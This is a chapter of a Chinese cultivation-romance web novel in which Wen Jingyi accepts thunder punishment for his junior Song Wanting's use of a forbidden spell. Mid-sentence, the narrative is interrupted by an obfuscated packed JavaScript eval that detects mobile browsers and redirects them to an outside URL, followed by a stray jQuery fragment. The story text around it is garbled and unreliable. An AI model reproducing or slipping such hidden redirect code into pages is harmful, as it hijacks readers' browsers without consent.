9. 清规

作品:《把高岭之花改造成炉鼎后

    “师妹可知晓,有种术法,可以读出所接触之人的心思?”


    温惊沂语气平静,似只是漫不经心地随口一问般。


    趴在他背后的宋晚汀浑身僵了一下,落在他眼睫上的视线也顿住了,但随即她便恢复如常道:“竟然有这种术法?那师兄会吗?”


    温惊沂步调缓下来,山风卷起月白道袍的一角,轻拂过她垂下来的手腕。


    他没回头,只道了一声:“会。”


    得到回答的一瞬间,宋晚汀紧接着便问:“那师兄知道我方才在想什么吗?”


    她身子不自觉紧绷起来,耐心等待着他的回答。


    温惊沂脚步未停,不知为何倏忽轻笑了一声,道:“不知。”


    宋晚汀没有马上相信,漆色的瞳珠略微转了转,道:“那师兄为何忽然提起这种术法?”


    温惊沂声线清冷如玉石相击,不疾不徐道:“师妹方才的心跳很快。”


    她启唇想要说什么,但在听到这句话时,忽然便偃旗息鼓了。


    原来是心跳暴露了她的想法,好在温惊沂若是没有使用他说的那个术法的话,应当也猜测不到她究竟想了些什么。


    可温惊沂当真如他所说的,没有用那个术法吗?


    “师兄放我下来吧,我觉得自己好像可以走了。”宋晚汀声线冷了下来,仿佛要将方才飞扑的心跳声竭力压下来,当做什么都没有发生一般。


    温惊沂停住脚步,略微偏头,语气莫名有些奇怪:“师妹当真觉得自己可以走了?”


    宋晚汀感受了一下自己的手脚,觉得它们都还健在,便道:“自然是可以。”


    温惊沂便也没再多说什么了,将她放了下来。


    在宋晚汀的设想里,原本该平稳着陆的。


    可她双脚踩地的瞬间,双腿一软,整个人跌在白玉阶上,摔得她头脑有些发懵了,转瞬而来的便是一股浓烈的羞耻感。


    谁知道这该死的烧血咒后遗症能持续这么长时间!


    而且方才在他身上的时候,她分明感觉自己双腿好的不得了来着!


    不过好在,不知道是什么东西在她身后垫了一下,所幸摔得并不疼。


    怔愣之间,她略微抬起头,温惊沂立在玉阶之上,广袖垂落,垂眸看向阶下的她,眼底的疏离似远山寒雾。


    他面上一派孤高矜贵,声音清冽,语调平缓无澜:“忘了问师妹,烧血咒是从何处学来的?”


    他在上,宋晚汀在下。


    被他那样一双深思寒潭般的眼睛望着,她极其不自在,就仿佛他正在对她使用那个读心术法,将她浑身每一处污浊都照出来了一般。


    某一瞬间,她忽然觉得,她在他面前,就仿似透明一般。


    这种感觉,实在令她很不舒服,她垂下脑袋,空留一个黑乎乎的发顶给他。


    她气闷得像胸口压了块什么东西,喘不上气也吐不出郁火,只冷丝丝地在胸口硌着。


    其实这也怪不着温惊沂,可偏生他就是碰上了她这么个不讲理的人,若是在话本中,恐怕她就是那个阻挠正派完成大业的反派了。


    而反派,最不喜的,便是被人这么居高临下地看着。


    她极爱生气,极爱多思多虑,可又没法子发泄出来,最后她只能在面颊上再工笔涂抹出一丝委屈来,仰头望向温惊沂,道:“家中的藏书阁中学来的,怎么了,不能用吗?”


    她面上一派真情实感的疑惑,仿佛是真的不知道烧血咒究竟是个什么东西。


    温惊沂听了她的回答,倒也没有再多说什么,只是朝她伸出手。


    宋晚汀望着他那双腕骨如玉、指节清瘦的手,顿了一下,才将手搭上去。


    温惊沂这次没有将她背在身后,反倒是将她抱了起来。


    面对着他那张清隽出尘的脸,她一时间有些不知道该往哪处看。


    温惊沂没有再逼问她烧血咒是从哪里学来的,语调平寂无波,字句缓落:“此为禁术,不宜多用。”


    宋晚汀听到“多用”两个字的时候,不知道为何忽然笑了一声。


    竟然是“不宜多用”,而不是不能用。


    温惊沂眉目沉静,垂眸看她,眼底一片空寂,他启唇,轻声问她:“笑什么?”


    宋晚汀道:“师兄既然说是禁术,为何不直接叫我不要再用?”


    温惊沂道:“虽为禁术,可祸不及旁人,如今妖鬼猖獗,关键时刻若能用来保命,也未尝不可。”


    宋晚汀歪了歪头,眼底漾起几分纯然的好奇,语气软和下来,像是浸了糖霜的蜜:“私用禁术,照门规当如何?师兄是要包庇我吗?”


    温惊沂的视线在她面上逡巡一番,扫过的每一处都如有实质一般,清寒的目光似乎能穿透那层天真烂漫的皮囊,窥见底下掩藏翻涌的冰与火。


    她听见他倏忽笑了一声,语气凉薄:“包庇?师妹觉得呢?”


    *


    她最后没能得到具体的答案。


    温惊沂将她送回了祈遂峰瑶光榭,喂她吃下了丹药,又为她疏通了瘀堵的经络。


    好半晌,宋晚汀终于感受到枯竭的灵脉里再次汩汩流淌着灵气,这才终于放下心来。


    当时强行动用灵气,其实她也害怕会造成不可逆转的伤害,只是当时生死之际也考虑不了那么多,现在再想起来,未免还是会有些后怕。


    不过此行倒是有个好消息,也许是历经生死,激发了潜能,她那久未松动的境界竟然隐隐有松动的迹象,修为竟在不知不觉间上涨了些。


    果然,修为停滞时,闷头苦练再久,也不及一场实操来得快。


    就这样,她歇息了一晚,一夜无梦。


    第二日醒来,通讯玉简震了震,她打开,便看到是师姐谢听柳的消息。


    谢听柳:速来清规阁,温师弟正在受刑。


    看到这几个字的时候,宋晚汀无论如何也不能将受刑与温惊沂几个字联系在一起。


    但她也并不傻,很快便意识到,这或许与她本人脱不开关系。


    她匆匆忙忙赶到归玄峰,归玄峰已经聚集了众多弟子。


    清规阁外有人见到宋晚汀来了,便压低声音同身旁的人不知在说些什么。


    宋晚汀没空管他们,视线直直落在清规阁外头跪着的人身上。


    清规阁的殿门敞着,穿堂风卷着阶前飘零的几片落叶,刮得殿内高旋的戒律幡簌簌作响。


    谢听柳来到她身边,道:“师妹可知道温师弟为何会忽然来领罚?


    宋晚汀耳朵里不知为何满是不真切的翁鸣声,她看着那道身影好半晌,才恍惚道:“不知道。”


    谢听柳失望地叹口气,没再多说什么。


    宋晚汀死死盯着正中央那道身影。


    石阶冷硬如铁。


    温惊沂一身月白的道袍,孑然跪于清规阁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956931|193170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前,广袖垂落,不染半分尘埃。他脊背挺拔如孤松,满身清绝。


    宋晚汀想要上前两步,却被禁制死死拦在外头。


    宋晚汀想要弄清楚为什么,可温惊沂从始至终没有朝她的方向看过一眼,仿佛与天地相隔。


    天边雷云翻涌,鼓噪地她有些喘不上气来。


    私用禁术,初次罚三道刑雷。


    最后她只得大喊一声:“师兄!”


    第一道刑雷落下,温惊沂没有看她。


    她便又喊:“温师兄!”


    第二道刑雷落下,温惊沂仍旧没有看她。


    她平静下来,道:“温惊沂。”


    第三道刑雷落下,温惊沂偏头看向她。


    对上他视线的那一瞬,她特别想问问,他为何要包庇她,为何要,替她受罚。


    可在众目睽睽之下,她只能说:“师兄,疼不疼。”


    她是个胆小鬼,一向不敢承认真正做错事的人是她,她总是担不起做错事的后果,可在这一刻,她还是想要告诉所有人,做错事的是她。


    在宋家的时候,宋妄禾会将做过的错事全部赖到她头上,大人就会不分青红皂白地将她关进冰窟里,动辄打骂。


    她从不敢做错事,没有人会考虑到当时的她的年岁和处境,等待她的总是无尽的羞辱和打骂,还有永远寒冷孤寂的冰窟。


    从没有人,会包庇她的过错,会替她承担下做错事的后果,会将她护在身后,背着她走上五千长阶。


    温惊沂,疼不疼。


    就像是在问少年时的宋晚汀一样。


    她看见温惊沂望向她,神色是一如往昔的疏离淡漠,他清寒的侧脸在光影里明明暗暗,孤绝地像是一尊不染尘俗的玉像。


    她清晰地见到他对她微微摇了摇头,而后便转过身去,再没有看她。


    *


    很长一段时间,宋晚汀都没能再见到温惊沂,通讯玉简上发给他的消息也尽数石沉大海。


    她尝试去打听他究竟去了何处,可没有人能说得清温惊沂的踪迹。


    他总是神出鬼没,好像总是很忙很忙,忙到没有空再看她一眼。


    可分明在这之前,他还说了要帮她化解吞梦鬼留下来的劫数。


    迟迟见不到人,宋晚汀也只能自己刻苦修习了。


    为了活命,她几乎是昼夜不息地修行,可即便如此,却也收效甚微。


    要想在三年内,从金丹到化神,几乎可以说是天方夜谭。


    于是她短暂地从修行中抽身出来,去了藏书阁,想要找找还有没有什么能够化解吞梦鬼的怨念的方法。


    在藏书阁里泡了几天后,她精疲力尽,将书盖在脸上,长叹一声,靠在书架上睡了过去。


    再醒来时,太阳西沉,月亮升起了,皎白的月光洒在书架上,一片静谧。


    她睁开惺忪的睡眼,认命地打算接着回去日夜修行,却在抬起眼睑的一瞬间,看见了个许久未见的身影。


    温惊沂站在窗台前,面如冠玉,月白的袍子在月光下显得异常清透。


    她听见他道:“修为……略有长进,但距离不死还有很长一段距离。师妹现在来藏书阁是在等死吗?”


    他像是真的很疑惑,难得认真地看了她几眼。


    “藏书阁里没有你要找的东西。”他最后道。


    宋晚汀望着他,神色专注认真:“那哪里才有?”